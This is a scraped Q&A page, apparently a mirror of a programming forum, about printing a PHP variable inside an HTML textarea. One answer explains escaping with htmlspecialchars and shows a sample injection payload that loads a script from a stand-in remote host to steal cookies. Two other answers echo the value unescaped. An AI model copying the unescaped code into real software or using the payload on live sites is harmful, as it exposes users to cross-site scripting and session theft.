Display PHP query result in textarea

房东的猫 提交于 2019-12-05 06:51:50

Just put it within ><, there's no value attribute:

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>

You should also use htmlspecialchars so that the textarea will not break if $not_Contenido contains </textarea>.

This is sometimes overlooked, but if $not_Contenido contained something like:

</textarea><script src="http://remotedomain.com/evilscript.js"></script>

An attacker can run anything they want, and all your clients will download and run the script on your website. A common attack would be sending cookies to their domain.

Try like

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion">
     <?php echo $not_Contenido; ?>
</textarea>

We con't give value to the textbox.

Value is not attribute of textarea so simply place between the tag <textarea>?</textarea>

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion" ><?php echo $not_Contenido ?>
</textarea>

Place your value between opening and closing tags of textarea as like other HTML tags and textarea has no attribute "value"

<textarea name="txt_descripcion" cols="66" rows="10" id="txt_descripcion"><?php echo htmlspecialchars($not_Contenido);?></textarea>
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!